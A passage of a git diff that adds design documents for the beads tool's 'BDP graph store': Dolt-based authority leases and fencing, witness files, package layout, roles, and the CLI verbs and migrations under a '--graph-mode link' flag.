P1 seeds, P3 writes) runs through **`PublishGraphMutation`** on the provider: `DOLT_FETCH`; require the remote-tracking HEAD to be an **ancestor** of local HEAD (`DOLT_MERGE_BASE`); record the remote's graph roots and ledger head; the fenced transaction; a **scoped** commit (`DOLT_ADD` of the graph tables, `DOLT_COMMIT -m` — never `-Am`; a new `RunTxScopedResult` on the UOW leg, whose `Commit` hardcodes `-Am` today); `DOLT_PUSH` classified by a **typed** lift of the tree's untyped `pushRacePattern` (it already matches all three race routes) — on a race, refetch and compare **both** the remote-tracking ref's **ledger head** (`SELECT seq, hash FROM graph_ledger_events AS OF '' ORDER BY seq DESC LIMIT 1` — `MAX(seq), hash` errors under `ONLY_FULL_GROUP_BY`, probed) **and the eight graph tables' diff** between the recorded remote pre-head and the new remote head (`DOLT_DIFF_STAT`/`dolt_diff` restricted to those tables; `DOLT_HASHOF_TABLE` reads only the working set) against what was recorded before the transaction: any graph delta or ledger movement → fail closed and undo — **never the `(authority_id, epoch)` tuple alone**, which a same-witness twin (a VM image or shared home) or a same-authority fork shares; neither changed (issue-plane divergence only) → keep the commit, `ErrSyncRequired`; any other failure → keep the commit, mark `unpublished`, retry later. The classifier lifts the **whole** of `isPushRaceErr` — its diverged-history and ancestor-PK-mismatch exclusions included — behind a typed lower-layer error. The remote-tracking ref is `remotes//`, built by one provider API from the configured sync remote and the active branch (the `verifyPullLanded` spelling); a missing ref is vacuously an ancestor (the push creates it); an empty remote ledger reads as no head. Undo = `DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` (unstage) and `DOLT_CHECKOUT('
')` — a bare checkout after a soft reset restores from the *staged* root and reverts nothing (probed) — when HEAD is still the operation commit, `DOLT_REVERT ` otherwise; then, **on either path**, a compensating ephemeral write restores the pre-operation **lease** row — predicated on the lease still naming this workspace at the operation's epoch and on the current fence, and writing a fresh fence (a revert restores the Scope epoch while the ignored lease keeps the new one, which would lock the workspace out of its own lease — probed); if another holder now legitimately holds the lease, it is left alone; the undo runs before any other graph mutation. **Reads on hazard R** require a remote observation no older than `bdp.authority_heartbeat` (a serving process fetches on a timer; a CLI read fetches when stale), **comparing the remote ledger head against the workspace's witness — reloaded on every check — not against a process-local expectation**, and recognizing a **pending local operation** (a publication that landed before the witness advanced, or a `local_committed` record) as this workspace's own, so a publication by the workspace's CLI is a re-arm, not a loss; they fail closed after the grace. Recovery on hazard R reuses the same ledger-plus-eight-table delta classifier as the push race: issue-plane-only movement is `ErrSyncRequired`, never an undo. The fence watcher is a state machine `held → renewing → lost`: on loss the BDP rows are disabled atomically (legacy surface untouched), `bd --graph-mode link serve` exits 3, and the watcher joins before provider shutdown. *Both hazards → both fences.* A clone that received the Scope row by `dolt clone` has no lease row and bootstraps only with `bd --graph-mode link promote --rotate-url`; a copy or restore that carries the row is the operator hazard stated above. Services on an ephemeral home pin `BEADS_INSTALLATION_ID_FILE` to persistent storage, or every restart is a `--steal`. A `promote --rotate-url` beside a live server changes the served URL and the host allowlist, which are fixed at startup, so the server exits 3 and is restarted. Force-push routes bypass the fence as operator acts. | Round 5 (Codex C2–C4, H5, H7, H10, H11; Gemini). | +| A8 | plan §1 constraint #1 and ruling 12 — *new* | v5's method-set reasoning was inverted | **RULED: option A.** **A:** constraint #1 scoped to *behavior* (byte-identical gate output). Adding six required methods to `Storage` breaks **direct implementers** (the compiler catches them; six `ErrUnsupported` stubs; the joint `ReadyClaimer`/`BatchCloser` CHANGELOG entry is the precedent) and is **silently promoted through every wrapper that embeds the interface** — which is why the censuses are mandatory, not optional. **B:** an optional `BeadGraphCapable` interface on the concrete store is **not** promoted through an interface-embedding wrapper at all, so every wrapper must implement it explicitly *and* every consumer needs a resolver/unwrap — the v1-plan `graphsource` shape. | Round 5 (Codex M14, Gemini). | +| A9 | **9** — simplification, **as amended by A10** | — | **RULED 2026-09-07; solo exception ruled 2026-09-08.** **Outside A10's solo topology, v0 authority requires a shared database.** Hazard R's publication primitive, remote-read freshness, and multi-phase publication recovery are **deferred to the write-profile ADR**; a remote-backed workspace is a **non-authority** for any Scope it did not mint on its own shared database (its `bd serve` shows rows absent; its CLI reads refuse); cross-database promotion is **`--rotate-url` only** (a new Scope, continuity via the ledger lane). The graph tables still replicate through push/pull like any other table; the validator refuses foreign deltas. What remains of A7 is hazard S alone — one arbiter, one lease, one counter. **Topology matrix, as amended by A10:** a shared database that **minted locally** is authoritative regardless of any configured remote; a shared database that received the Scope row by replication, restore, or copy without a valid local authority refuses (`ErrNotAuthority`; `--rotate-url` or `--steal` as above); outside A10's embedded solo exception, the embedded and registered-store client-host arms refuse authority-establishing and authority-dependent local operations (`Mint`/`Promote`/`Rotate`/`Install` and local graph reads answer `ErrNotAuthority: authority requires a shared database`; the embedded client-host leg uses `bdp.client: server`, while the solo leg supplies the full local read contract under A10; client-mode reads stay allowed everywhere); a configured remote neither grants nor removes authority, and **transition recovery takes the local-operation path on every shared database** (the remote classification exists only when hazard R is in force); two shared databases that both mint under one tracked `bdp.scope_url` are settled by the replication/merge ADR — until it lands, the earlier `mint` event (lineage) wins and the loser rotates; every hazard-R passage (publication primitive, remote-read freshness, publication recovery, `Remote` fixture cases) is excluded — but the default-branch rule for the ignored lease table (Part D.5) stays, because it is a property of dolt-ignored tables, not of hazard R; A5's "single-copy by operator responsibility" sentence is withdrawn under A9; A10 subsequently adds the solo exception, whose single-copy safety is again an operator responsibility. Physical database copies remain the stated operator-managed hazard. **Selected for v0**: the only serving topology already is the SQL-server workspace, and this removes the largest block of new mechanism from P1/P2. | Round 5 (Codex C1: "require an externally observable fence or weaken the guarantee"). | +| A10 | **9**, amends A9 | embedded authority refused under A9 | **RULED 2026-09-08: B — solo topology.** An embedded workspace with no configured remote and no server mints a local Scope, holds a witness and a lease satisfied by the workspace gate (one process holds the embedded store), and answers every link-mode verb locally. It serves nothing: `bd serve` still refuses embedded Dolt. It becomes a client host the moment a shared database or remote appears, under the rotation and steal rules. A solo store later pushed to a remote is "minted locally" for the replication ADR — authoritative until a foreign delta appears. The embedded leg wires the full read contract for solo topology and the refusal contract for client hosts. Options A (defer to P3) and C (require a local server) were rejected. | Plan §9 A10; operator ruling 2026-09-08, raised by Steph's adoption harness (sjarmak/mem). | + +A10 mechanism work for P1: assign the local solo mint trigger without adding a +serving path, and map its exclusive workspace gate to the shared-leg lease +predicates and fence census. The witness, Scope identity, ledger-head and graph- +state checks still apply; the gate satisfies the solo lease, rather than +requiring an invented shared database. The exact lease-row representation and +expiry/self-regrant mapping must be recorded before implementing that leg. This +is implementation work under ruled A10, not a new CLI-name ruling. + +Two decisions recorded here and ruled 2026-09-07 as plan rulings 13–14: + +- **Enforcement boundary for out-of-role writes — RULED 2026-09-07 (plan + ruling 13, "A+B").** `bd sql`, the proxied `RawSQLUseCase`, force-push, + and a merge can change graph tables without allocation, authority, + revision, or owned-Link coupling checks. Out of contract; the + **state-change validator** rejects invalid or foreign-authority graph + state (a delta on the ledger-covered tables must be explained by ledger + events since the recorded head; bead and link bodies by row provenance); + and the eight replicated tables carry session-gated `BEFORE + INSERT/UPDATE/DELETE` triggers that refuse a row unless `@bd_graph_role` + is set — every graphops mutation sets it inside its transaction and + clears it before `COMMIT`/`ROLLBACK` (the clear is load-bearing: a + pooled connection keeps the variable otherwise — probed). Probed on Dolt + 2.1.8: the triggers fire (errno 1644), replicate through `dolt_schemas`, + are created by one multi-statement `Exec` of a migration file, and are + silent on `DOLT_MERGE`/`DOLT_PULL` (the validator's and ruling 14's + territory). A fence against accidents, not credentials; the two-SQL-user + boundary is a C-lane task. Three P0 verification rows gate the fence + (spec B4). +- **Replication/merge ADR as a P1 gate — RULED 2026-09-07 (plan ruling 14, option B: the gate plus a four-law charter).** The merge entry points are not + four Go functions: `mergesettle.go` exports seven, `fastforward.go` and + `automerge.go` more; `CALL DOLT_PULL` merges inside Dolt on every pull + route; the UOW leg's `doltVersionControlSQLRepository` calls + `DOLT_MERGE`/`DOLT_PULL`/`DOLT_PUSH` directly; embedded federation sync + fetches and merges; the remote-migrate gate does a fast-forward + `DOLT_MERGE`. The validator runs **on every observed graph-state-version + change**: the witness + records the graph-state version — `DOLT_HASHOF_TABLE('')` for each + of the eight replicated graph tables in a fixed order, hashed together + (the function exists in Dolt 2.1.8 and takes one table argument; the + lease is ephemeral and excluded) and the HEAD commit; a body that sees a + different version returns `ErrStateChanged` *without* validating inside + the held transaction; the accessor validates under **one singleflight + coordinator per provider instance** in its own transaction (ancestry + `DOLT_MERGE_BASE(recorded HEAD, HEAD)`; row provenance for foreign + updates), advances the witness, and retries once. Descriptor caches are + keyed by the descriptors table's hash. **The charter:** (1) every SQL + pull route fetches, inspects the eight tables between HEAD and the + remote-tracking ref, and refuses a foreign-authority or unexplained + delta *before* merging — `DOLT_PULL` commits a clean merge immediately + and `ROLLBACK` does not undo it (probed), so inspection is the only + pre-merge refusal point; routes that cannot inspect first (the + CLI-subprocess pull, a merge already landed, restore, force-push) fall to + the validator, which reverts the eight tables to their state at the + recorded HEAD in a new commit when that HEAD is an ancestor (the hazard-R + undo shape; later commits preserved) and marks the witness `unverified` + otherwise; (2) no graph-table conflict is auto-resolved and `--strategy` + never touches a graph table — the pull is refused naming the table, the + remedies are the link-mode verbs; (3) a foreign graph delta is refused + whole, never merged cell by cell, and the later of two mints under one + URL adopts the earlier by an explicit verb the ADR names; (4) a + workspace without a witness takes the remote's graph state wholesale and + refuses to mint until rotated or stolen. Federation unfiltered in v0. + The ADR (`engdocs/BDP_GRAPH_REPLICATION_ADR.md`) is P1's first + deliverable, council-reviewed; no graph migration merges before it. + +What none of this changes: ruling 9's level — the authority is the graph +store as reached through the normalized storage abstraction, on any +provider; Dolt is the reference realization; the CLI verbs and the BDP +handler are both clients of that abstraction. + +## 3. Packages and their imports + +```text +graphops/ PUBLIC LEAF (sibling of issueops/, memoryops/) + ├─ types.go Bead, Link, Ref, Properties, Revision, Attribution, + │ TypeDescriptor, OwnedLinkDecl, OwnedLinkGroup, ScopeIdentity, + │ LedgerEvent, LedgerManifest, Cursor (opaque) + ├─ laws.go canonical-ID grammar, code-unit ordering, JSON canonicalization, + │ RFC 6902 §4.6 equality, Scope-URL validation, ledger hashing + ├─ reader.go Reader: Bead, Link, Beads, Links, IncidentLinks + ├─ types_role.go DescriptorReader: Descriptors, Descriptor + │ TypeInstaller: Install (post-mint; published on hazard R) + ├─ identity.go IdentityReader: Read, LedgerDurability + │ ScopeBootstrapper: Mint (once; installs the built-in catalog) + │ Admin: Promote, Rotate, LedgerSnapshot, LedgerApply, + │ MarkUnverified, ClearUnverified + (transaction-bound provider capabilities — StateVersioner, GraphPublication, LeaseClaim — + live in internal/storage/graphcap, not here: the public leaf carries no runner type) + ├─ writer.go (P3) Writer + └─ errors.go ErrNotFound, ErrValidation, GoneError{Path, State}, + ErrNoScope, ErrScopeExists, ErrNotAuthority, ErrStateRewound, + ErrStateChanged, ErrSyncRequired, ErrUnpublished, ErrURLReused, + ErrRepresentationTooLarge, ErrNotServedYet + NO authority fields on any request type — the witness is the store's. + imports: stdlib + beadserrors ONLY + +internal/storage/authority/ THE WITNESS MANAGER (clone-local half; no SQL) + Witness{InstallationKey, ScopeURL, AuthorityID, Epoch, LedgerSeq, LedgerHash, + StateVersion, StateCommit, Unverified, GrantedAt, Pending *Transition} + Transition{Kind, OpID, Phase (begun|local_committed|published|config_written| + undo_started|versioned_undone|lease_restored), PreHead, PreLedgerHead, PreLease, + OpCommit, ExpectedRoots, RemotePreHead, ConfigIntent} + Advance takes a provider-supplied Verifier (ledger-prefix + ancestry; under hazard S the + ledger seq is a total order, so seq decides) and runs it under the file lock; the lock is + held from Begin through Finalize/Abandon; LeaseClaim lives in internal/storage/graphcap + installation id: the directory user_config_path.go's UserConfigYamlPath chooses + (~/.config/bd preferred; native fallback), file installation-id, or BEADS_INSTALLATION_ID_FILE; + created O_EXCL 0600, re-read, directory fsynced; per OS user (a service user and an + operator compute different keys — cross-user shared roots are unsupported, as the + workspace gate already declares); an ephemeral home regenerates it (promote again) + Load: plain read; a Pending record → recovery by evidence (the ledger carries the op id? + the remote: pre-head / contains this op / foreign?) → resume, finalize, or undo — BEFORE + any assertion; run by admin verbs and bd --graph-mode link serve only; bd serve and CLI reads treat + Pending as rows-absent / ErrNotAuthority with a notice + Advance: bounded exclusive flock on .beads/graph-authority.lock (internal/lockfile; + poll with timeout, the workspacegate precedent; both ErrLocked and ErrLockBusy honored) + → descendant-aware compare-and-advance (older contained candidate = no-op; fork = reject) + → atomicfile → fsync dir + Begin / SetPhase / Finalize / Abandon; preflight ENSURES the .beads/.gitignore entries and + refuses a git-tracked path + +internal/storage/graphops/ TX-LEVEL SHARED BODY — all three legs call it + type DBTX interface { ExecContext; QueryContext; QueryRowContext } + assertAuthorityInTx(ctx, tx, w, claim, mutating): Scope row == w; ledger head; lease row — + read: SELECT holder/epoch/expires_at/fence and require expires_at > NOW(6) (reads never + write the lease; a CLI read regrants once, ephemerally, before a fresh read tx when its own + lease has expired); mutation: UPDATE … SET heartbeat_at = ?, + expires_at = NOW(6) + ttl, fence = WHERE id = 1 + AND holder_installation_key = ? AND epoch = ? AND fence = with exactly + one affected row (same-cell-different-value → 1213 → replay re-evaluates: still + authorized → succeeds serially; superseded → 0 rows → refuse); the 1213 surfaces from + CALL DOLT_COMMIT on the scoped path, so that call stays inside the retried closure; + graph-state version == w.StateVersion else ErrStateChanged + nextLedgerSeqInTx: UPDATE graph_ledger_seq SET next_seq = next_seq + 1, alloc_nonce = + WHERE id = 0 (the random cell is what makes two allocators conflict) + ReadBeadInTx / … / MintScopeInTx / PromoteInTx / RotateInTx / LedgerSnapshotInTx / + LedgerApplyInTx (anti-reuse history; reserved allocations; counter set) / + ValidateStateInTx / graphStateVersionInTx: eight calls DOLT_HASHOF_TABLE('') + in the fixed order; StateVersion = sha256 of the concatenated hashes + SeedBeadInTx / SeedLinkInTx — fixture writer; _test.go call sites only + +internal/storage/dolt/beadgraph_*.go, internal/storage/embeddeddolt/beadgraph_*.go + CLI legs (embedded never serves): witness + claim loaded per call; withReadTx / + withRetryTx; scoped commit (DOLT_ADD graph tables + DOLT_COMMIT -m — the + doltAddAndCommit precedent); PublishGraphMutation for hazard R + +internal/storage/domain/db/beadgraph.go + doltVersionControlSQLRepository additions + BeadGraphUseCase over db.Runner; the repository gains Fetch/Push (exist), MergeBase, + ResetSoft, CheckoutTables, Revert, HashOfTables +internal/storage/uow/beadgraph_*.go THE SERVING LEG + uow.UnitOfWork gains BeadGraphUseCase(); doltSQLProvider gains beadsDir (received by + cmd/bd/uow_factory.go's newSQLServerUOWProvider today, dropped) and timedProvider gains a + getter for it (it builds roles over the wrapper today); NEW + RunTxScopedResult(tables, msg) — doltServerTx.Commit hardcodes DOLT_COMMIT('-Am') today; + RunTxEphemeral for lease renewal; PublishGraphMutation on the provider + +internal/storage/storage.go + six BeadGraph* accessors +internal/storage/hook_beadgraph_*.go, internal/telemetry/beadgraph_*.go, backend/conformance/… +internal/httpapi/bdp_routes.go bdpRouteTable — conditional rows behind route() (P2); + FenceSource state machine (held → renewing → lost) +internal/httpapi/bdpwire/ hand-written DTOs held to the vendored, pinned schema by tests (Part D.3, recorded 2026-09-07) — P0 +internal/bdpclient/ graphops.Reader/DescriptorReader over the wire +cmd/bd/bdp*.go link mode root; bdpRootPolicy keyed by CommandPath(); + bdp_serve.go staged startup (exclusive mint, then shared serve) +cmd/bd/backup_restore.go runBackupRestore → Admin.MarkUnverified (no-op without a witness) +``` + +Dependency direction, enforced: `cmd/bd → graphops, storage accessors, +bdpclient`; `internal/httpapi → graphops, bdpwire`; `internal/storage/* → +graphops, authority`; `graphops → beadserrors, stdlib`. A new depguard rule +denies `internal/storage/graphops` to everything but the three legs and +`domain/db`. + +## 4. Roles — how many, and why + +The house test: a role is a **different question**, born whole with the +methods that are shapes of one question; and *can one caller be entitled +to the read and not the write?* — if yes, two roles. Six, each behind its +own `BeadGraph*` accessor. **Authority is never a parameter.** Transitions +produce the witness and carry their own preconditions instead of the head +check — named per method. + +- **`graphops.Reader`** — one record by path (grouped, bounded + `ownedLinks`), keyset pages under an opaque cursor, incident Links. + Protected. +- **`graphops.DescriptorReader`** — the ordered catalog and a keyed lookup. + Protected. Bounded. +- **`graphops.TypeInstaller`** — post-mint install/converge with `install` + events; a fenced mutation, **published through the same primitive as + every other replicated mutation** on hazard R. P1. Before mint there is + no install: the built-in catalog is installed by `Mint`. +- **`graphops.IdentityReader`** — the Scope row, the witness's claim, and + `LedgerDurability`. **Exempt** (it reports state). +- **`graphops.ScopeBootstrapper`** — `Mint`, once, under the exclusive gate + through a temporary source (the spec's one staged-startup sequence: shared + read → release → exclusive only when there is no Scope row → release → + shared serve), fenced per hazard, multi-phase: precondition *no Scope row*; INSERT the singleton Scope row, seed + the counter, append `mint`, install the built-in catalog with its + `install` events — one transaction, one scoped commit, published on + hazard R, `config.yaml` written when `--scope-url` supplied it; then the + witness is finalized. +- **`graphops.Admin`** — `Promote` (precondition: Scope row CAS + the + fence; produces the witness), `Rotate` (precondition: Scope-row lineage + and the lease; `refuse_url(old)` + `rotate(new)` in one + transaction; `config.yaml` in the `config_written` phase; refused while + `BDP_SCOPE_URL` overrides), `LedgerSnapshot`, `LedgerApply` (recovery + predicate; anti-reuse history only; regrants), `MarkUnverified`/ + `ClearUnverified`. Authorized by being the local administrative + composition root — `Promote` and `Rotate` under the **shared** gate (they + rely on the lease and run beside a live server), `Install`, `LedgerApply`, + and `bd --graph-mode link restore` under the **exclusive** gate; `httpapi.GraphConfig` + has no field for it. +- **`graphops.Writer`** (P3, not now). + +## 5. A read, end to end + +```text +client ──GET /acme/beads/x──▶ internal/httpapi (bd serve | bd --graph-mode link serve; UOW leg) + │ route(): deadline → bearer → Bd-Project-Id stamp (absent = pass) → database slot + ▼ +bdp handler: path grammar (graphops laws) → ONE role call + ▼ +graphops.Reader.Bead(ctx, BeadRequest{Path}) ← no authority fields + ▼ +BeadGraphReader (manager-backed role): w := authority.Load(beadsDir); claim := process claim + │ hazard R: require a remote observation ≤ bdp.authority_heartbeat old (fetch if stale; + │ fail closed past the grace) [absent under A9] + ▼ RunTxRead ─▶ storage/graphops.ReadBeadInTx(ctx, runner, w, claim, req) + │ stmt 1 Scope row: (scope_url, authority_id, epoch) == w + │ stmt 2 ledger head: event at w.LedgerSeq has hash w.LedgerHash; MAX(seq) >= w.LedgerSeq + │ stmt 3 lease row: holder key/epoch == claim AND expires_at > NOW(6) (SELECT — a read never + │ writes the lease; a mutation UPDATEs it, rewriting the fence cell and extending + │ expires_at, self-regranting if expired; a CLI read on its own expired lease regrants + │ once ephemerally before a fresh read tx) + │ stmt 4 graph-state version: DOLT_HASHOF_TABLE('') × 8 in fixed order, sha256 of + │ the concatenation == w.StateVersion → else ErrStateChanged (returned WITHOUT validating here; + │ the accessor validates under the provider's singleflight coordinator, advances the + │ witness, retries once) + │ stmt 5 bead row + │ stmt 6 descriptors for the Bead's Type (cache keyed by the descriptors table's hash, + │ which stmt 4 already read) + │ stmt 7 ONE batched owned-links query, LIMIT (bound − rows so far) + 1 + ▼ +graphops.BeadRecord {Bead, OwnedLinks []OwnedLinkGroup} + ▼ +bdp handler: bdpwire DTO ← record; typed error → BDP Problem; JSON out +``` + +Statement budgets are per role method (spec B2). A write (P3): the body +asserts **mutatingly** (the lease `UPDATE` with one affected row), runs the +no-op gate, records attribution, versions the source on owned-Link +mutation, takes the next `seq`, appends the event, stamps provenance; the +accessor commits **scoped**, **publishes on hazard R**, and only then +advances the witness — DB first, file second. + +## 6. Where the rulings land + +| Ruling | Lands in | +| --- | --- | +| 1 charter | `engdocs/PROJECT_CHARTER.md` edit rides the first merged slice | +| 2 substrate S1 | replicated migrations (scope, history, descriptors, beads, links, ledger events + counter, allocations) + the lease's three parts (`doltIgnorePatterns`, main-series creation, ignored-series twin) + `ignoredSource.sentinelTables` gains the lease | +| 3 allocation ledger | `graph_allocations` (derived; `reserved` state after a ledger-lane apply); `graph_ledger_events`; `graph_ledger_seq` | +| 5 withdrawal | nothing projects Issues; structural | +| 7a Scope URL | `bdp.scope_url` in tracked `config.yaml` (`BDP_SCOPE_URL` first); singleton Scope row; no dev-mode derivation | +| 7b listener | BDP rows behind `httpapi.route()` (A2) | +| 8 changefeed | P3 | +| 9 authority | store-owned witness in every transaction (A1); fences by hazard (A7), hazard S under A9, and the solo workspace gate under A10; contract cases incl. clone, restore, copied witness, expired-lease mutation, nonce mismatch, graph delta under an unchanged tuple, revert when HEAD moved, each phase's recovery | +| 11 restore vs identity | hash-chained head in the witness; multi-phase transitions; ledger lane = anti-reuse history; `LedgerDurability`; rotation (A5) | +| 12 store/Scope/client | `bd init` migrations only; among serving commands only `bd --graph-mode link serve` mints (staged); A10 solo mint trigger is a P1 mechanism; `bd --graph-mode link client` (A6); A8 options; registered backends absent in v0 | +| 13 out-of-role DML | session-gated triggers in the five table files (spec B4); the validator's ledger accounting (B3); three P0 verification rows; the two-SQL-user boundary is C-lane | +| 14 replication/merge | `engdocs/BDP_GRAPH_REPLICATION_ADR.md` first in P1; fetch-inspect-merge on the SQL pull routes; validator revert on the rest; graph tables excluded from auto-resolve and `--strategy`; clones take remote state wholesale | +| 6 wisps | not served | + +## 7. What is deliberately not designed here + +- Cross-request cursor continuation (P2 ADR); no collection routes before it. +- The write profiles' wire (W1), `graphops.Writer`, per-token authorization + classes, the push-on-commit latency budget, and the + acknowledged-but-unwitnessed-write window (P3). +- The replication/merge ADR's mechanism (§2b; the charter is plan ruling 14) — P1's first deliverable, `engdocs/BDP_GRAPH_REPLICATION_ADR.md`; precedes the migrations. +- A DB-privilege (two-SQL-user) boundary for the graph tables (C-lane, ruling 13). +- The `GraphPublication` capability a registered backend would declare to + serve BDP (deferred; v0 serves from SQL-server workspaces only). +- Whether `bd --graph-mode link serve` remains after W2 (default: yes — the serving minting path). +- Type generation from the bead-type inventory (W3) — it feeds the built-in + catalog `Mint` installs. diff --git a/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md b/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md new file mode 100644 index 000000000..5b7efc1fb --- /dev/null +++ b/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md @@ -0,0 +1,1262 @@ +# BDP graph store — CLI and storage-interface changes, in detail + +**Status:** Draft v17 (W-arch) — A1–A9 and plan rulings 13–14 ruled 2026-09-07; A10 ruled 2026-09-08; P0 current-wire completion open — feat/bead-graph +**Date:** 2026-09-12 (v16: 2026-09-10; v15: 2026-09-09; v14: 2026-09-02) +**Companions:** `BDP_BEAD_GRAPH_PLAN.md` (rulings), `BDP_GRAPH_ARCHITECTURE.md` +(shape; its §2b lists A1–A9 and plan rulings 13–14, **ruled 2026-09-07**, +and the A10 solo-topology amendment **ruled 2026-09-08**; every +hazard-R paragraph is marked *[deferred under A9]*). This document is the +*diff*: every command, flag, config key, interface member, package, +migration, and gate the graph work adds or touches — and what it does not +touch (Part C) and what it changes that an earlier draft claimed it did not +(Part C2). Phase markers follow the plan's §7: **P0** contracts and wire, +**P1** storage, **P2** serving, **P3** writes. + +Revision v15: 2026-09-09 current-source alignment and council corrections; +phase/owner gates and pinned-source clarity added, historical rulings preserved. +Revision v16: 2026-09-10 formal-review correction aligns all embedded-leg +summaries with A10 and qualifies the registry claim; plan §0a carries the +current dependency refresh and outstanding reviewer/owner gate. + +Revision v17: 2026-09-12 records the P0 Read adoption and merged BDP +Transactional/History dependencies consistently with the owning plan; no new +contract pin, migration slot or runtime capability is selected. + + + +## Alignment addendum (2026-09-09, refreshed 2026-09-12) + +[Plan §0a](BDP_BEAD_GRAPH_PLAN.md#0a-current-bdp-and-versioned-beads-alignment-2026-09-09) +records the historical pins and the 2026-09-12 refresh: BDP #19/#20 and +History #30 wire/spec are merged; Jim #6304 is merged and #6147/#6358 remain +open. History realization and completion gates remain separate. The original +P0 pin and the adopted Read foundation at `19923f5b` remain explicit; +neither is a current-write or History capability claim. Three storage/adapter +boundaries follow from that reconciliation: + +1. P3 delete results carry the shared `deletedIdentity` schema in the + `deleted` result member, including the removed Resource's final live + revision. Owned-Link results also report `source` (the source Bead's + absolute canonical URL) and `sourceRevision` (that Bead's resulting + revision), on creation, update and deletion alike. Deletion never mints a + deleted Resource version. +2. The allocation/authority ledger below is neither Jim's retained + `issue_versions` store nor the TX projected erasure ledger. Preserve the + separate epochs and recovery duties. A future History store needs complete + retained records and applicable copy cleanup; adding History names to this + allocation ledger does not implement either requirement. The P3 ADR + inventories selected-profile storage/interface deltas and affected migration, + state-version, fence, inspection and census gates under plan §0a. The eight + replicated tables below are the initial P1 scope; no new table or interface + widening is prescribed, and P1 need not wait for the full P3 design. Any + necessary later addition preserves frozen migrations and A8 source-break + disclosure. +3. The approved History context envelope is distinct from carried attribution + and properties. Its commit-time, operation fan-out, legacy absence, + postimage/Event/row placement and erasure constraints are materialized in + merged #30 (`1fe8cf32`, recorded in the dated plan §0a dependency table); + their local adoption needs an explicit provider mapping. Jim's existing + columns, empty-actor status and local ordinal do not supply that mapping. + +Plan §0 records P0's adoption of the Read foundation and narrow erased-pointer +rejection, preserving other RFC 9457 extensions. Subsequent wire adoption +remains deliberate; those dated checks do not establish current serving. P1 rechecks merged main and the migration advisory before claiming +actual slots; 0067 is now merged and 0068 is reserved by Jim's still-open +Phase 2. [Plan §7's owner gates](BDP_BEAD_GRAPH_PLAN.md#current-wire-and-profile-adoption-gates-2026-09-09) +assign these exits, shared negotiation/conditional contracts and their P2 +public-boundary proof. Before P3, record the reviewed selected write-profile +pin under plan §0. Field spellings above quote the §0a upstream pins and are +re-verified at that write pin; this addendum introduces no new local wire +field, migration or implementation. + +## Part A — CLI + +Graph behavior is selected by the **root flag `--graph-mode link`** +(default `dependency`; `BD_GRAPH_MODE`; config key `graph-mode`), never +by a verb prefix (amendment A3, ruled 2026-09-07). The mode names the +graph by the kind of edge it carries: the dependency graph is issues joined +by dependencies, the link graph is graph beads joined by typed Links. +**Every verb creates, reads, or serves the selected graph or refuses**; +`bd link a b` creates a dependency, `bd --graph-mode link link a b --type +` creates a Link; verbs with no link-graph meaning (`dep`, `ready`, +`prime`, …) refuse under the flag rather than silently running on the +dependency graph. Without the flag every verb is byte-identical to today; +the differential gate gains one row per legacy verb form (Part B7). A +workspace may default to link mode through the config key, and the key's +help says what that does to `bd link`. + +**Root store policy is keyed by mode and command path, and it is +authoritative.** The root command classifies commands by *leaf name* at +several sites — `effectiveRootStorePolicy(cmd.Name(), …)`, +`runsPostCommandMaintenance(cmd.Name(), …)`, `isReadOnlyCommand` +(`readOnlyCommands`, which `context_cmd.go` mutates at init), +`shouldAutoPruneEventsJournal`, the `cmd.Name() != "import" && != "setup"` +branches, `workspace_gate.go`, `main_errors.go`. One +`commandPolicy(mode, *cobra.Command)` keyed by the mode and `CommandPath()` +is consulted first at each site (a new seam — the only `CommandPath()`-keyed +map today is `help_supplements.go`), with an exhaustive Cobra-tree test +**paired with a source scan** that fails on any `cmd.Name()` consumer not +routed through the policy. The flag is a root persistent flag consulted +before any store opens, like `--readonly`. + +| Verb under `--graph-mode link` | Local store | Gate | Maintenance | +| --- | --- | --- | --- | +| `show `, `list`, `types [get]`, `status` | read-only when `link-graph.route: local`; **skipped entirely** when `link-graph.route: server` | shared | no | +| `serve` | serve's classification (A3); **staged** — the one normative sequence: bypass the generic pre-run store gate (the skip-store seam); acquire shared; open a temporary source, read the Scope row, close it; **release shared**; if there is no Scope row: acquire exclusive, reopen, re-check, mint, close, release exclusive; acquire shared; open the serving source; re-evaluate the identity table under it; serve | shared → release → (exclusive → release, only for a mint) → shared; never an upgrade | no | +| `client` | none (writes `config.local.yaml`) | none | no | +| `ledger snapshot` | read-only, local | shared | no | +| `promote` | writable, always local | **shared** — it relies on the lease (the workspace is the holder), so it runs beside a live `bd serve` | no | +| `types install`, `restore`, `ledger apply` | writable, always local | **exclusive** (`internal/workspacegate`, the `bd backup restore` precedent) — the server must be stopped; `commandNeedsExclusiveGate` learns them | no | +| (P3) `create`, `update`, `delete`, `link` | writable | shared | no | + +### A1. `bd init` — graph store initialization (ruling 12) + +1. Runs the graph migrations (Part B4): the replicated series, and the + dolt-ignored `graph_authority_lease` through the tree's three-part + mechanism — its name in `doltIgnorePatterns` (seeded by `MigrateUp` + before either series), a main-series migration that creates it for + existing workspaces, the ignored-series twin for fresh clones (the 0055 / + `ignored/0012` shape; hygiene check D) — and the lease joins + `ignoredSource.sentinelTables` so an at-latest but partially + materialized clone repairs it. +2. **Installs no descriptors.** There is no ledger before mint; the + built-in catalog is installed by `Mint` (A3/A4). `bd init` on any clone + keeps working and installs nothing. A provider answering + `*storage.ErrUnsupported` from the capability probe is skipped silently + at the default verbosity (debug-level only), so gate output is + byte-identical. +3. Writes **no Scope identity**, no witness, nothing to `metadata.json`. +4. Ensures `.beads/.gitignore` carries `config.local.yaml`, + `graph-authority.local.json`, `graph-authority.lock` through + `EnsureGitignoreForBeadsDir`; the template, `requiredPatterns`, and + `trackedRuntimePatterns` gain them, and the witness joins + **`sensitiveFileNames`** so a tracked copy is an **error**, not a + warning. Init paths that bypass that call (`--init-if-missing`, an + external `BEADS_DIR` that differs from the local dolt dir — the gate is + `useLocalBeads`) are not relied on: + the witness manager ensures the entries before its first write (B3). + +**Registered backends:** `bd init` refuses to provision them today; their +own path owes the same obligations. In v0 they do **not serve BDP** (A3). + +### A2. Client wiring — `bd init --bdp-server ` and `bd --graph-mode link client` (ruling 12; amendment A6, ruled 2026-09-07) + +One more `bd init` target, rerouting *above* the storage abstraction: the +link-mode read verbs become a BDP client of the designated server. + +**Two files, by what the key is.** `config.yaml` is git-tracked by default; +per-workspace keys go to **`config.local.yaml`** (merged by viper 